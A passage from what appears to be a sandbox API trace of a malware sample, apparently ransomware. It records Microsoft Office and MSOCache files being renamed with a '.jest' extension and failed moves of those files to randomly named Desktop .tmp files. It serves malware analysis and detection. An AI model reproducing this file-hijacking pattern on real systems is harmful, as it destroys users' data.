SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.794] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer.jest")) returned 1 [0170.797] VarBstrFromR4 (in: fltIn=0x47945a2d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.35") returned 0x0 [0170.799] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gAJqz8x0tGC0HsV 121bWZX rmgfJ-b89vlqCZXZ9EQW6qorsUZr5ZFfwLsJrT_6R-VG3W_JiaeW-dw2otQ WE4sWg4QvWWVXsqiU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gajqz8x0tgc0hsv 121bwzx rmgfj-b89vlqczxz9eqw6qorsuzr5zffwlsjrt_6r-vg3w_jiaew-dw2otq we4swg4qvwwvxsqiu.tmp")) returned 0 [0170.799] GetLastError () returned 0x2 [0170.801] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.803] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate.css.jest")) returned 1 [0170.807] VarBstrFromR4 (in: fltIn=0x47945a2f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.37") returned 0x0 [0170.809] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y8mfE2CdXzcszvbD2TuG 2IJAqtu1Z2AHaTb1wjIPlvYt0h45X4_NoxRC4EoT1QkQ0ONHhkWuwkqHJhO2cSrmAgt7XC493qSZfYW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y8mfe2cdxzcszvbd2tug 2ijaqtu1z2ahatb1wjiplvyt0h45x4_noxrc4eot1qkq0onhhkwuwkqhjho2csrmagt7xc493qszfyw.tmp")) returned 0 [0170.809] GetLastError () returned 0x2 [0170.810] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.812] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slateblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SlateBlue.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slateblue.css.jest")) returned 1 [0170.816] VarBstrFromR4 (in: fltIn=0x47945a31, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.38") returned 0x0 [0170.817] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slateblue.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l2FHRWBcMl0FEJhIRIjUTrszEniNMg13okE7vGfvGpe8YQjioRfDG06fp3sl9Tm4NVkVS8PwmQ2ggvzk_IiC1qYb904qEKs4HFNyd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l2fhrwbcml0fejhirijutrszeninmg13oke7vgfvgpe8yqjiorfdg06fp3sl9tm4nvkvs8pwmq2ggvzk_iic1qyb904qeks4hfnyd.tmp")) returned 0 [0170.817] GetLastError () returned 0x2 [0170.818] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.820] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slateblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SlateBlue.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slateblue.css.jest")) returned 1 [0170.824] VarBstrFromR4 (in: fltIn=0x47945a31, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.38") returned 0x0 [0170.825] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slateblue.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8zffqHIfryf45Q94As5LtLDfSg17VloK8IE-RAcN ZNQOKF-SpetkLz5KSXz_E4htUs2BRUz8O4RQ5zZfRsitVozm3x39ZYAU6s.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8zffqhifryf45q94as5ltldfsg17vlok8ie-racn znqokf-spetklz5ksxz_e4htus2bruz8o4rq5zzfrsitvozm3x39zyau6s.tmp")) returned 0 [0170.826] GetLastError () returned 0x2 [0170.828] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.831] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml.jest")) returned 1 [0170.835] VarBstrFromR4 (in: fltIn=0x47945a33, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.4") returned 0x0 [0170.837] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w9NfOg1AvCAurOQ8vOSu6CQODVSB9sPtqfYiwn7633I _DgHj_SZJ7bMQl-SgIzPAwG7sxNQ-EzDAPDVed4m4fhP6OPbEbg0QmD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w9nfog1avcauroq8vosu6cqodvsb9sptqfyiwn7633i _dghj_szj7bmql-sgizpawg7sxnq-ezdapdved4m4fhp6opbebg0qmd.tmp")) returned 0 [0170.837] GetLastError () returned 0x2 [0170.871] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.889] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue.css.jest")) returned 1 [0170.892] VarBstrFromR4 (in: fltIn=0x47945a3b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.46") returned 0x0 [0170.893] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7RqY7JXDLPMuefebVMJmVeMrtTjOSRhR3iNcc8bVHjiJ-GjuKkO0c9dcVa7liEBj4Sp7 btQFOjYNpSAOY8HeBh1d4DRNr96c62 .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7rqy7jxdlpmuefebvmjmvemrttjosrhr3incc8bvhjij-gjukko0c9dcva7liebj4sp7 btqfojynpsaoy8hebh1d4drnr96c62 .tmp")) returned 0 [0170.894] GetLastError () returned 0x2 [0170.894] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="අ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.895] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.jest")) returned 1 [0170.899] VarBstrFromR4 (in: fltIn=0x47945a3b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.46") returned 0x0 [0170.900] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WX6jAoBVwfNldJ_kAtfOYv923ipCL6j7uHpUlxsJbfEucbXWH5Wtamp3PrGgHPKhHYnvzpHM5m5ziRgImhArzDn9TxIx18LVEp_Ru.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wx6jaobvwfnldj_katfoyv923ipcl6j7uhpulxsjbfeucbxwh5wtamp3prgghpkhhynvzphm5m5zirgimharzdn9txix18lvep_ru.tmp")) returned 0 [0170.900] GetLastError () returned 0x2 [0170.900] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\xfdd2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.901] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg.jest")) returned 1 [0170.904] VarBstrFromR4 (in: fltIn=0x47945a3b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.46") returned 0x0 [0170.905] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JLBhQgVaw9vy4HcchNTKGsFYT-4ATd2xCARNcuATFlYv9WSogsd0 oBo61tweVxCeO6qQVsW30JpzcCxnDpUgZ3u7988R8x9fnyN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jlbhqgvaw9vy4hcchntkgsfyt-4atd2xcarncuatflyv9wsogsd0 obo61twevxceo6qqvsw30jpzccxndpugz3u7988r8x9fnyn.tmp")) returned 0 [0170.905] GetLastError () returned 0x2 [0170.906] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.906] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen.css.jest")) returned 1 [0170.909] VarBstrFromR4 (in: fltIn=0x47945a3d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.48") returned 0x0 [0170.910] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6M-01cBAr3sgw4ydC2FOT1fyvqhg4IkluJsBjALF7hhTngdB7RK9Vr4htvf9AbKGhcsRg 483EtwsV5fjJmYYT-ZEVI_PppixG8iI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6m-01cbar3sgw4ydc2fot1fyvqhg4iklujsbjalf7hhtngdb7rk9vr4htvf9abkghcsrg 483etwsv5fjjmyyt-zevi_pppixg8ii.tmp")) returned 0 [0170.910] GetLastError () returned 0x2 [0170.911] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﰛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.911] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml.jest")) returned 1 [0170.915] VarBstrFromR4 (in: fltIn=0x47945a3d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.48") returned 0x0 [0170.916] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KwUuJ6 JlG hFFIG3L u CksoKs77HxAB_isMGv ZUjii3mLRz1baQo6DeGXFeqJkpvPRf2 TQbIh00AVCEV9jPb5qC9owlfOODzB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kwuuj6 jlg hffig3l u cksoks77hxab_ismgv zujii3mlrz1baqo6degxfeqjkpvprf2 tqbih00avcev9jpb5qc9owlfoodzb.tmp")) returned 0 [0170.916] GetLastError () returned 0x2 [0170.917] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.917] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg.jest")) returned 1 [0170.920] VarBstrFromR4 (in: fltIn=0x47945a3d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.48") returned 0x0 [0170.921] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dkkOFe_D_8cFGapUFQpNHtKkhbC31jOAX2u7jYXG_21KCBFQqIbO0kDcLx22pg2AesBm4jnulOsNjCyQ5KbDr822HxQqH_xPiKIk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dkkofe_d_8cfgapufqpnhtkkhbc31joax2u7jyxg_21kcbfqqibo0kdclx22pg2aesbm4jnulosnjcyq5kbdr822hxqqh_xpikik.tmp")) returned 0 [0170.921] GetLastError () returned 0x2 [0170.921] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.922] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts.css.jest")) returned 1 [0170.924] VarBstrFromR4 (in: fltIn=0x47945a3f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.49") returned 0x0 [0170.925] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SQr6QGOEdtYONgXlRztjDS1z0yf7o4M-ZlYok23aPsMfgBus0tTZ6w7pa -_k6ETlWm7OqTdmrYHdrXygG3RL-NlFOmeZ6zNv2u4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sqr6qgoedtyongxlrztjds1z0yf7o4m-zlyok23apsmfgbus0ttz6w7pa -_k6etlwm7oqtdmryhdrxygg3rl-nlfomez6znv2u4.tmp")) returned 0 [0170.925] GetLastError () returned 0x2 [0170.926] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.926] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts2.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2.css.jest")) returned 1 [0170.929] VarBstrFromR4 (in: fltIn=0x47945a3f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.49") returned 0x0 [0170.930] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lPf jyxVrO3CLgKYgxMC1Bks-lyRCB-vfqPCJsdpd9DXq5OzZnoMDLFZ_oWVJP MEJ9oiIwK-mx36oMl18BAfzE23R94DOsl MrDk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lpf jyxvro3clgkygxmc1bks-lyrcb-vfqpcjsdpd9dxq5ozznomdlfz_owvjp mej9oiiwk-mx36oml18bafze23r94dosl mrdk.tmp")) returned 0 [0170.930] GetLastError () returned 0x2 [0170.930] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.931] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2.css.jest")) returned 1 [0170.934] VarBstrFromR4 (in: fltIn=0x47945a3f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.49") returned 0x0 [0170.934] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rnJxeWl wL84D0szlI69U63HGCARn9 hKMnSS2E0NWlPLEyRTuShH 2rFWD 